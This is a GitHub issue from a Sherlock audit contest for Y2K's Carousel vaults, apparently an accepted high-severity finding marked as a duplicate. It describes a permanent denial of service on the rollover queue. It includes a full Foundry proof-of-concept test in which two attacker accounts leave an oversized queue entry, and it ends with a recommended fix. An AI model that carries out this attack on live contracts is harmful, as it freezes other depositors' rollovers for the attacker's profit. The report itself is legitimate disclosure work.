You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
This repository has been archived by the owner on Oct 1, 2023. It is now read-only.
sherlock-admin opened this issue
Mar 27, 2023
· 0 comments
Labels
DuplicateA valid issue that is a duplicate of an issue with `Has Duplicates` labelHighA valid High severity issueRewardA payout will be made for this issue
Attacker can cause permanent denial of service, blocking all rollovers indefinitely
Summary
An attacker can cause permanent denial of service of the rollover queue and block all rollovers indefinitely for a trivial cost, breaking core protocol functionality. This allows the attacker to reduce the number of deposits in their vault, allowing them to earn more if there is a payout.
Vulnerability Detail
An attacker who is deposited in either the collateral vault or the premium vault is able to perform a permanent denial of service attack on the rollover queue, allowing them to prevent all calls to the mintRollovers(..) function from succeeding. This means that users will be able to enlist in the rollover queue, which will give them the false belief that their funds will rollover into the next epoch. However, the attacker can cause the mintRollovers(..) to always revert by breaking the fundamental invariant laid out in the code: // @note we know shares were locked up to this point. Specifically, the attacker can trick the rollover queue into accepting an entry where the assets are greater than the entire balance of the user for a given epochId. This will result in the _burn(..) call done in mintRollovers(..) to revert. Since mintRollovers(..) always starts looping from index=0, there is no way to avoid this malicious entry in the rollover queue.
The attacker is financially incentivized to break the behavior of the rollover queue for the vault type (premium or collateral) that they are depositing in, because that will result in their own deposits making up a larger portion of the vault, thus they will receive more funds in the event of a payout. This will also cause harm to the depositors in the adjacent vault type, as they will either be getting less insurance or less premiums. Additionally, users are still able to successfully call the enlistInRollover(..) function, meaning they will not know their funds are not being automatically rolled over, unless they are actively viewing their position.
This is high severity because the attacker is able to permanently disable the rollover queue for trivial cost and a small number of actions taken only once. With this, the attacker is able to financially benefit while screwing over other users, and at the same time breaking core protocol functionality.
Code Snippet
POC including preliminary state and steps (foundry test):
// SPDX-License-Identifier: MITpragma solidity^0.8.0;
// utilitiesimport {Test} from"forge-std/Test.sol";
import {console} from"forge-std/console.sol";
// project filesimport {TokenMock} from"src/my-tests/TokenMock.sol"; // simple ERC20 token w/ mintingimport {WETH} from"src/my-tests/WETH.sol"; // WETH mockimport {OracleMock} from"src/my-tests/OracleMock.sol"; // mock oracleimport {Carousel} from"src/v2/Carousel/Carousel.sol";
import {CarouselFactory} from"src/v2/Carousel/CarouselFactory.sol";
import {ControllerPeggedAssetV2} from"src/v2/Controllers/ControllerPeggedAssetV2.sol";
contractTestPermanentDOSisTest {
// protocol usersaddress admin =makeAddr('admin'); // project adminaddress attacker1 =makeAddr('attacker1'); // attacker addressesaddress attacker2 =makeAddr('attacker2');
address user1 =makeAddr('user1'); // other user addressesaddress user2 =makeAddr('user2');
address user3 =makeAddr('user3');
WETH weth;
TokenMock emissionsToken;
OracleMock sequencerFeed;
OracleMock priceFeed;
CarouselFactory carouselFactory;
ControllerPeggedAssetV2 controllerPeggedAssetV2;
Carousel premiumVault;
Carousel collateralVault;
uint256 epochId1;
uint256 epochId2;
uint256 marketId;
/// configuring starting state for showing bug/exploitfunction setUp() public {
vm.deal(attacker1, 100 ether);
vm.deal(attacker2, 100 ether);
vm.deal(user1,100 ether);
vm.deal(user2,100 ether);
vm.deal(user3,100 ether);
vm.startPrank(admin); // admin setting up starting project state
vm.warp(10_000); // to mock that sequencer is up
weth =newWETH();
emissionsToken =newTokenMock();
emissionsToken.mint(admin,10_000e18); // admin is used as treasury
carouselFactory =newCarouselFactory(
address(weth),admin,admin,address(emissionsToken)
);
emissionsToken.approve(address(carouselFactory),type(uint256).max);
sequencerFeed =newOracleMock();
sequencerFeed.setData(1,0,0,0,1); // sequencer is up
priceFeed =newOracleMock();
priceFeed.setData(1,1e8,0,0,1); // setting price for asset, decimals=8
controllerPeggedAssetV2 =newControllerPeggedAssetV2(
address(carouselFactory),address(sequencerFeed),admin
);
carouselFactory.whitelistController(address(controllerPeggedAssetV2));
// creating a new market:
CarouselFactory.CarouselMarketConfigurationCalldata memory config =
CarouselFactory.CarouselMarketConfigurationCalldata({
token: address(1), // arbitrary, just for lookup to oracle
strike: 99e17,
oracle: address(priceFeed),
underlyingAsset: address(weth),
name: "name",
tokenURI: "tokenURI",
controller: address(controllerPeggedAssetV2),
relayerFee: 10000,
depositFee: 250
}
);
(addresspremium, addresscollateral, uint256_marketId) = carouselFactory.createNewCarouselMarket(config);
marketId = _marketId;
premiumVault =Carousel(premium);
collateralVault =Carousel(collateral);
// creating the first two epochs, with the first one beginning and the second one queued:
(epochId1,) = carouselFactory.createEpochWithEmissions(
marketId,
uint40(block.timestamp+10), // epochBeginuint40(block.timestamp+20), // epochEnd100,1_000e18,1_000e18
);
vm.warp(block.timestamp+10); // epoch 1 has started// 10 timestamp gap between the first epoch and the second epoch
(epochId2,) = carouselFactory.createEpochWithEmissions(
marketId,
uint40(block.timestamp+20), // epochBeginuint40(block.timestamp+30), // epochEnd100,1_000e18,1_000e18
);
// first epoch resolved with nullEpoch as there are no deposits
controllerPeggedAssetV2.triggerNullEpoch(marketId,epochId1);
vm.stopPrank();
}
/// showcasing the bug/exploitfunction testPermanentDOS() public {
// showcasing the ability of any user to completely shut down the mintRollovers(..) function which// will effectively deactivate the entire rollover functionality causing a permanent denial of service. // to perform this permanent denial of service, the attacker will trick the rolloverQueue into having// an entry where the `assets` for that `epochId` will be greater than the balance of assets that// the attacker has, therefore causing the _burn(..) function call to revert. As mintRollovers(..)// will always loop through the queue starting at index=0, all calls will revert indefinitely // other user deposits funds into the premium vault
vm.prank(user1);
premiumVault.depositETH{value:1e18}(
epochId2,user1
);
// attacker crafts transactions to get an entry which has `assets` > their actual balance (attacker is using two addresses for this attack)// i am showing the simplest method, however there is another potential attack vector to perform this as well// attacker first has both accounts deposit funds in the collateral vault
vm.prank(attacker1);
collateralVault.depositETH{value:10001}(
epochId2,attacker1
);
vm.prank(attacker2);
collateralVault.depositETH{value:10000}(
epochId2,attacker2
);
// attacker has both accounts enlist in the rollover queue
vm.prank(attacker1);
collateralVault.enlistInRollover(
epochId2,10000,attacker1
);
vm.prank(attacker2);
collateralVault.enlistInRollover(
epochId2,10000,attacker2
);
// attacker tricks the rolloverQueue into including an entry where `assets` > their actual balance
vm.prank(attacker1);
collateralVault.enlistInRollover(
epochId2,10001,attacker1
);
vm.prank(attacker1); // after this the `assets` for attacker2 > their actual balance
collateralVault.enlistInRollover(
epochId2,10001,attacker1
);
// showing that this invariant has been broken, will later demonstrate the DOS
(uint256assets_,addressreceiver_,uint256epochId_) = collateralVault.rolloverQueue(1);
assertEq(receiver_,attacker2);
assertGt(assets_,collateralVault.balanceOf(attacker2,epochId_));
// simulating some additional normal behavior// another normal user deposits into epoch 2 in the collateral vault & adds to rollover queue
vm.prank(user2);
collateralVault.depositETH{value:10e18}(
epochId2,user2
);
vm.prank(user2);
collateralVault.enlistInRollover(
epochId2,10e18,user2
);
vm.warp(block.timestamp+20); // second epoch has started// create the third epoch
vm.prank(admin);
(uint256epochId3,) = carouselFactory.createEpochWithEmissions(
marketId,
uint40(block.timestamp+20), // epochBeginuint40(block.timestamp+30), // epochEnd100,1_000e18,1_000e18
);
vm.warp(block.timestamp+11); // second epoch has ended// epoch 2 has ended, trigger end of the epoch
controllerPeggedAssetV2.triggerEndEpoch(marketId,epochId2);
// showcasing the denial of service, any future call to mintRollovers(..) will always revert// this effectively renders the rollover queue unusable indefinitely
vm.expectRevert();
collateralVault.mintRollovers(epochId3,3);
}
}
Tool used
Manual Review
Recommendation
In my POC i have shown the easiest attack path that I have found that results in this denial of service behavior, but I believe I may have found another attack path, albeit more complex, that will result in the same behavior. Because of this finding, I believe the simplest way to prevent this particular bug is to ensure that: queue[index].assets <= balanceOf(queue[index].receiver, queue[index].epochId). To do this in practice, mintRollovers(..) should not reference queue[index].assets directly, but rather store and use a variable equivalent to the smaller of queue[index].assets and the balance of the user: uint256 thisUsersAssets = min(queue[index].assets, balanceOf(queue[index].receiver,queue[index].epochId)); // pseudocode.
However, this fix is obviously just a last resort safety measure, and all attack paths which can lead to the // @note we know shares were locked up to this point invariant being broken should be patched. Assuming they are, then the patch I have outlined will not be necessary.
Sign up for freeto subscribe to this conversation on GitHub.
Already have an account?
Sign in.
Labels
DuplicateA valid issue that is a duplicate of an issue with `Has Duplicates` labelHighA valid High severity issueRewardA payout will be made for this issue
toshii
high
Attacker can cause permanent denial of service, blocking all rollovers indefinitely
Summary
An attacker can cause permanent denial of service of the rollover queue and block all rollovers indefinitely for a trivial cost, breaking core protocol functionality. This allows the attacker to reduce the number of deposits in their vault, allowing them to earn more if there is a payout.
Vulnerability Detail
An attacker who is deposited in either the collateral vault or the premium vault is able to perform a permanent denial of service attack on the rollover queue, allowing them to prevent all calls to the
mintRollovers(..)
function from succeeding. This means that users will be able to enlist in the rollover queue, which will give them the false belief that their funds will rollover into the next epoch. However, the attacker can cause themintRollovers(..)
to always revert by breaking the fundamental invariant laid out in the code:// @note we know shares were locked up to this point
. Specifically, the attacker can trick the rollover queue into accepting an entry where theassets
are greater than the entire balance of the user for a givenepochId
. This will result in the_burn(..)
call done inmintRollovers(..)
to revert. SincemintRollovers(..)
always starts looping fromindex=0
, there is no way to avoid this malicious entry in the rollover queue.The attacker is financially incentivized to break the behavior of the rollover queue for the vault type (premium or collateral) that they are depositing in, because that will result in their own deposits making up a larger portion of the vault, thus they will receive more funds in the event of a payout. This will also cause harm to the depositors in the adjacent vault type, as they will either be getting less insurance or less premiums. Additionally, users are still able to successfully call the
enlistInRollover(..)
function, meaning they will not know their funds are not being automatically rolled over, unless they are actively viewing their position.Referenced lines of code:
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L407-L412
Impact
This is high severity because the attacker is able to permanently disable the rollover queue for trivial cost and a small number of actions taken only once. With this, the attacker is able to financially benefit while screwing over other users, and at the same time breaking core protocol functionality.
Code Snippet
POC including preliminary state and steps (foundry test):
Tool used
Manual Review
Recommendation
In my POC i have shown the easiest attack path that I have found that results in this denial of service behavior, but I believe I may have found another attack path, albeit more complex, that will result in the same behavior. Because of this finding, I believe the simplest way to prevent this particular bug is to ensure that:
queue[index].assets <= balanceOf(queue[index].receiver, queue[index].epochId)
. To do this in practice,mintRollovers(..)
should not referencequeue[index].assets
directly, but rather store and use a variable equivalent to the smaller ofqueue[index].assets
and the balance of the user:uint256 thisUsersAssets = min(queue[index].assets, balanceOf(queue[index].receiver,queue[index].epochId)); // pseudocode
.However, this fix is obviously just a last resort safety measure, and all attack paths which can lead to the
// @note we know shares were locked up to this point
invariant being broken should be patched. Assuming they are, then the patch I have outlined will not be necessary.Duplicate of #2
The text was updated successfully, but these errors were encountered: